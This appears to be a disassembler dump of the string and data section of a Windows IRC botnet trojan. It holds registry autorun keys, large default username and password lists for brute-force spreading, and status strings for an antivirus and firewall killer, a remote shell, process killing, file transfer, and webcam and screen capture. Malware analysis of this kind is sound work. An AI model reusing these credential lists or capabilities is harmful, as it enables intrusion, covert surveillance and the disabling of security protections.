aMircV6_16Khale ; DATA XREF: sub_401B66+828r ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .packed:off_42A058o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A628+28o ; sub_41A94E+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A628+D4o ; sub_41A94E+D4o align 8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset byte_43FE14 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 8 dword_42A4A8 dd 10h ; sub_401B66+A8Dr ... aIntranet db 'intranet',0 ; DATA XREF: .packed:0042A494o align 4 aLan db 'lan',0 ; DATA XREF: .packed:0042A48Co aMain db 'main',0 ; DATA XREF: .packed:0042A488o align 4 aWinpass db 'winpass',0 ; DATA XREF: .packed:0042A484o aBlank db 'blank',0 ; DATA XREF: .packed:0042A480o align 4 aOffice db 'office',0 ; DATA XREF: .packed:0042A47Co align 4 aControl db 'control',0 ; DATA XREF: .packed:0042A478o aXp db 'xp',0 ; DATA XREF: .packed:0042A474o align 4 aNokia db 'nokia',0 ; DATA XREF: .packed:0042A470o align 10h aHp db 'hp',0 ; DATA XREF: .packed:0042A46Co align 4 aSiemens db 'siemens',0 ; DATA XREF: .packed:0042A468o aCompaq db 'compaq',0 ; DATA XREF: .packed:0042A464o align 4 aDell db 'dell',0 ; DATA XREF: .packed:0042A460o align 4 aCisco db 'cisco',0 ; DATA XREF: .packed:0042A45Co align 4 aIbm db 'ibm',0 ; DATA XREF: .packed:0042A458o aOrainstall db 'orainstall',0 ; DATA XREF: .packed:0042A450o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:0042A44Co align 4 aSql db 'sql',0 ; DATA XREF: .packed:0042A448o aSa db 'sa',0 ; DATA XREF: sub_401B66+1B23o ; .packed:0042A444o align 10h aDb1234 db 'db1234',0 ; DATA XREF: .packed:0042A440o align 4 aDb1 db 'db1',0 ; DATA XREF: .packed:0042A438o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:0042A434o align 10h aData db 'data',0 ; DATA XREF: .packed:0042A430o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:0042A42Co align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:0042A428o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .packed:0042A424o align 4 aAccess db 'access',0 ; DATA XREF: .packed:0042A420o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:0042A418o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .packed:0042A414o align 10h aDomain db 'domain',0 ; DATA XREF: .packed:0042A410o align 4 aHello db 'hello',0 ; DATA XREF: .packed:0042A40Co align 10h aHell db 'hell',0 ; DATA XREF: .packed:0042A408o align 4 aGod db 'god',0 ; DATA XREF: .packed:0042A404o aSex db 'sex',0 ; DATA XREF: .packed:0042A400o aSlut db 'slut',0 ; DATA XREF: .packed:0042A3FCo align 4 aBitch db 'bitch',0 ; DATA XREF: .packed:0042A3F8o align 10h aFuck db 'fuck',0 ; DATA XREF: .packed:0042A3F4o align 4 aExchange db 'exchange',0 ; DATA XREF: .packed:0042A3F0o align 4 aBackup db 'backup',0 ; DATA XREF: .packed:0042A3ECo align 4 aTechnical db 'technical',0 ; DATA XREF: .packed:0042A3E8o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .packed:0042A3E4o align 4 aLogin db 'login',0 ; DATA XREF: .packed:0042A3E0o align 4 aMary db 'mary',0 ; DATA XREF: .packed:0042A3DCo align 4 aKatie db 'katie',0 ; DATA XREF: .packed:0042A3D8o align 4 aKate db 'kate',0 ; DATA XREF: .packed:0042A3D0o align 4 aGeorge db 'george',0 ; DATA XREF: .packed:0042A3CCo align 4 aEric db 'eric',0 ; DATA XREF: .packed:0042A3C8o align 4 aChris db 'chris',0 ; DATA XREF: .packed:0042A3C4o align 4 aIan db 'ian',0 ; DATA XREF: .packed:0042A3C0o aNeil db 'neil',0 ; DATA XREF: .packed:0042A3BCo align 4 aLee db 'lee',0 ; DATA XREF: .packed:0042A3B8o aBrian db 'brian',0 ; DATA XREF: .packed:0042A3B4o align 4 aSusan db 'susan',0 ; DATA XREF: .packed:0042A3ACo align 4 aSue db 'sue',0 ; DATA XREF: .packed:0042A3A8o aSam db 'sam',0 ; DATA XREF: .packed:0042A3A4o aLuke db 'luke',0 ; DATA XREF: .packed:0042A3A0o align 4 aPeter db 'peter',0 ; DATA XREF: .packed:0042A39Co ; .packed:0042A3B0o align 4 aJohn db 'john',0 ; DATA XREF: .packed:0042A398o align 4 aMike db 'mike',0 ; DATA XREF: .packed:0042A394o align 4 aBill db 'bill',0 ; DATA XREF: .packed:0042A390o align 4 aFred db 'fred',0 ; DATA XREF: .packed:0042A38Co align 4 aJoe db 'joe',0 ; DATA XREF: .packed:0042A388o aJen db 'jen',0 ; DATA XREF: .packed:0042A384o aBob db 'bob',0 ; DATA XREF: .packed:0042A380o ; .packed:0042A3D4o aQwe db 'qwe',0 ; DATA XREF: .packed:0042A37Co aZxc db 'zxc',0 ; DATA XREF: .packed:0042A378o aAsd db 'asd',0 ; DATA XREF: .packed:0042A374o aQaz db 'qaz',0 ; DATA XREF: .packed:0042A370o aWin2000 db 'win2000',0 ; DATA XREF: .packed:0042A36Co aWinnt db 'winnt',0 ; DATA XREF: .packed:0042A368o align 10h aWinxp db 'winxp',0 ; DATA XREF: .packed:0042A364o align 4 aWin2k db 'win2k',0 ; DATA XREF: .packed:0042A360o align 10h aWin98 db 'win98',0 ; DATA XREF: .packed:0042A35Co align 4 aWindows db 'windows',0 ; DATA XREF: .packed:0042A358o aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:0042A354o align 4 aOemuser db 'oemuser',0 ; DATA XREF: .packed:0042A350o aOem db 'oem',0 ; DATA XREF: .packed:0042A34Co aUser db 'user',0 ; DATA XREF: sub_401B66+45D6o ; .packed:0042A348o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .packed:0042A344o align 4 aHome db 'home',0 ; DATA XREF: .packed:0042A340o align 4 aAccounting db 'accounting',0 ; DATA XREF: .packed:0042A33Co align 10h aAccounts db 'accounts',0 ; DATA XREF: .packed:0042A338o align 4 aInternet db 'internet',0 ; DATA XREF: .packed:0042A334o ; .packed:0042A490o align 4 aWww db 'www',0 ; DATA XREF: .packed:0042A330o aWeb db 'web',0 ; DATA XREF: .packed:0042A32Co aOutlook db 'outlook',0 ; DATA XREF: .packed:0042A328o aMail db 'mail',0 ; DATA XREF: .packed:0042A324o align 10h aQwerty db 'qwerty',0 ; DATA XREF: .packed:0042A320o align 4 aNull_1 db 'null',0 ; DATA XREF: .packed:0042A31Co align 10h aServer db 'server',0 ; DATA XREF: sub_401B66+3E30o ; .packed:0042A314o align 4 aSystem db 'system',0 ; DATA XREF: .packed:0042A310o align 10h aChangeme db 'changeme',0 ; DATA XREF: .packed:0042A308o align 4 aLinux db 'linux',0 ; DATA XREF: .packed:0042A304o align 4 aUnix db 'unix',0 ; DATA XREF: .packed:0042A300o align 4 aDemo db 'demo',0 ; DATA XREF: .packed:0042A2FCo align 4 aNone db 'none',0 ; DATA XREF: .packed:0042A2F8o align 4 aTest db 'test',0 ; DATA XREF: .packed:0042A2F0o align 4 a2004 db '2004',0 ; DATA XREF: .packed:0042A2ECo align 4 a2003 db '2003',0 ; DATA XREF: sub_41B1FC+BAo ; .packed:0042A2E8o align 4 a2002 db '2002',0 ; DATA XREF: .packed:0042A2E4o align 4 a2001 db '2001',0 ; DATA XREF: .packed:0042A2E0o align 4 a2000 db '2000',0 ; DATA XREF: .packed:0042A2DCo align 4 a1234567890 db '1234567890',0 ; DATA XREF: .packed:0042A2D8o align 4 a123456789 db '123456789',0 ; DATA XREF: .packed:0042A2D4o align 4 a12345678 db '12345678',0 ; DATA XREF: .packed:0042A2D0o align 10h a1234567 db '1234567',0 ; DATA XREF: .packed:0042A2CCo a123456 db '123456',0 ; DATA XREF: .packed:0042A2C8o align 10h a12345 db '12345',0 ; DATA XREF: .packed:0042A2C4o align 4 a1234 db '1234',0 ; DATA XREF: .packed:0042A2C0o align 10h a123 db '123',0 ; DATA XREF: .packed:0042A2BCo a12 db '12',0 ; DATA XREF: .packed:0042A2B8o align 4 a1: ; DATA XREF: .packed:0042A2B4o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .packed:0042A2B0o aPwd db 'pwd',0 ; DATA XREF: .packed:0042A2ACo aPass_0 db 'pass',0 ; DATA XREF: .packed:0042A2A8o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .packed:0042A2A4o align 4 aPasswd db 'passwd',0 ; DATA XREF: .packed:0042A2A0o align 10h aPassword db 'password',0 ; DATA XREF: .packed:0042A29Co align 4 aPassword1 db 'password1',0 ; DATA XREF: .packed:0042A298o align 4 aAdm db 'adm',0 ; DATA XREF: .packed:0042A294o aDb2 db 'db2',0 ; DATA XREF: .packed:0042A270o ; .packed:0042A43Co aOracle db 'oracle',0 ; DATA XREF: .packed:0042A26Co ; .packed:0042A454o align 4 aDba db 'dba',0 ; DATA XREF: .packed:0042A268o aDatabase db 'database',0 ; DATA XREF: .packed:0042A264o ; .packed:0042A41Co align 4 aDefault db 'default',0 ; DATA XREF: .packed:0042A260o ; .packed:0042A30Co aGuest_0 db 'guest',0 ; DATA XREF: .packed:0042A25Co ; .packed:0042A2F4o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:0042A258o align 4 aTeacher db 'teacher',0 ; DATA XREF: .packed:0042A254o ; .packed:0042A49Co aStudent db 'student',0 ; DATA XREF: .packed:0042A250o ; .packed:0042A498o aOwner db 'owner',0 ; DATA XREF: .packed:0042A24Co align 4 aComputer db 'computer',0 ; DATA XREF: .packed:0042A248o align 4 aRoot db 'root',0 ; DATA XREF: .packed:0042A244o ; .packed:0042A318o align 10h aStaff db 'staff',0 ; DATA XREF: .packed:0042A240o ; .packed:0042A4A0o align 4 aAdmin db 'admin',0 ; DATA XREF: .packed:0042A23Co ; .packed:0042A290o align 10h aAdmins db 'admins',0 ; DATA XREF: .packed:0042A238o ; .packed:0042A28Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: .packed:0042A234o ; .packed:0042A288o aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:0042A230o ; .packed:0042A284o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .packed:0042A22Co ; .packed:0042A280o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:0042A228o ; .packed:0042A27Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A180o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A17Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A178o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_42A174o align 4 a@h4cker db '*@h4cker',0 ; DATA XREF: .packed:off_42A170o align 10h dword_42A9B0 dd 234032Dh, 75636573h, 2036572haFailedToStartR db '- Failed to start registry thread, error: <%d>.',0 dword_42A9EC dd 234032Dh, 75636573h, 2036572haRegistryMonito db '- Registry monitor active.',0 align 4 dword_42AA14 dd 234032Dh, 75636573h, 2036572haFailedToStartS db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42AA50 dd 234032Dh, 75636573h, 2036572haSystemSecureMo db '- System secure monitor active.',0 unk_42AA7C db 2Dh ; - ; DATA XREF: sub_401252+3E1o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_42AABC db 2Dh ; - ; DATA XREF: sub_401252+390o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h dword_42AAE0 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_401252+355o dd 2E646574h, 0 dword_42AAFC dd 25207325h, 25222064h, 2273hdword_42AB08 dd 255C7325h, 73h ; sub_416028+7Eo ... dword_42AB10 dd 73257325h, 0 ; sub_40FF08+E9o ... unk_42AB18 db 2Dh ; - ; DATA XREF: sub_401891+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4019F7+55o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4019F7+28o align 10h aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7DA8o align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7D93o align 10h unk_42AB80 db 2Dh ; - ; DATA XREF: sub_401B66+7D7Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_42ABA0 db 2Dh ; - ; DATA XREF: sub_401B66+7D62o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 10h unk_42ABC0 db 2Dh ; - ; DATA XREF: sub_401B66+7D0Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7CEAo align 4 unk_42AC14 db 2Dh ; - ; DATA XREF: sub_401B66+7CA0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7C91o ; sub_401B66+7CFEo align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7C7Do align 4 asc_42AC94: ; DATA XREF: sub_401B66+7C4Do unicode 0, <~>,0 unk_42AC98 db 2Dh ; - ; DATA XREF: sub_401B66+7BFCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_42ACBC db 2Dh ; - ; DATA XREF: sub_401B66+7B92o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_42ACE4 db 2Dh ; - ; DATA XREF: sub_401B66+7B4Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_42AD08 db 2Dh ; - ; DATA XREF: sub_401B66+7B2Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401B66+7B0Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h unk_42AD50 db 2Dh ; - ; DATA XREF: sub_401B66+7AEBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_42AD74 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401B66+7ACEo dd 2E732520h, 0 unk_42AD90 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4095BEo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401B66+7A51o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h unk_42ADE0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40957Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_42AE08 db 2Dh ; - ; DATA XREF: sub_401B66+7A0Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_401B66+79F0o unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401B66+78E6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_42AE5C db 2Dh ; - ; DATA XREF: sub_401B66:loc_409433o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_42AE80 db 2Dh ; - ; DATA XREF: sub_401B66+78C3o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_42AEA0 db 2Dh ; - ; DATA XREF: sub_401B66+7896o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42AEC8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4093DCo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_42AEF0 db 2Dh ; - ; DATA XREF: sub_401B66+784Bo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_42AF10 db 2Dh ; - ; DATA XREF: sub_401B66:loc_409374o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_42AF40 db 2Dh ; - ; DATA XREF: sub_401B66+7804o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_42AF60 db 2Dh ; - ; DATA XREF: sub_401B66:loc_409316o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_42AF90 db 2Dh ; - ; DATA XREF: sub_401B66+77A9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_42AFB4 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401B66+775Eo dd 27732527h, 2Eh unk_42AFD0 db 2Dh ; - ; DATA XREF: sub_401B66+772Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_42B00C db 2Dh ; - ; DATA XREF: sub_401B66+76D6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_42B030 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401B66+7662o dd 0 unk_42B048 db 2Dh ; - ; DATA XREF: sub_401B66+762Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_42B088 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401B66+75D5o dd 2Eh dword_42B0A0 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401B66:loc_409092o dd 746E6573h, 2Eh unk_42B0BC db 2Dh ; - ; DATA XREF: sub_401B66+7525o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42B0DC dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401B66+74E6o dd 732520h unk_42B0F4 db 2Dh ; - ; DATA XREF: sub_401B66+74DEo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42B120: ; DATA XREF: sub_401B66+74C0o ; sub_40FF08+FAo ... dw 0Ah unicode 0, <>,0 unk_42B124 db 2Dh ; - ; DATA XREF: sub_401B66+7496o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42B148 db 2Dh ; - ; DATA XREF: sub_401B66+7480o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42B16C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408F6Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 10h unk_42B1B0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408F61o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42B1F0 db 2Dh ; - ; DATA XREF: sub_401B66+73E8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401B66:loc_408EC0o align 4 unk_42B224 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408EADo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42B25C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408EA6o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 10h unk_42B290 db 2Dh ; - ; DATA XREF: sub_401B66+7330o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401B66:loc_408E1Fo align 4 unk_42B2C4 db 2Dh ; - ; DATA XREF: sub_401B66+72ACo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42B2EC db 2Dh ; - ; DATA XREF: sub_401B66+7279o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401B66:loc_408D92o unk_42B31C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408D7Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42B358 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408D78o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401B66+7202o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; 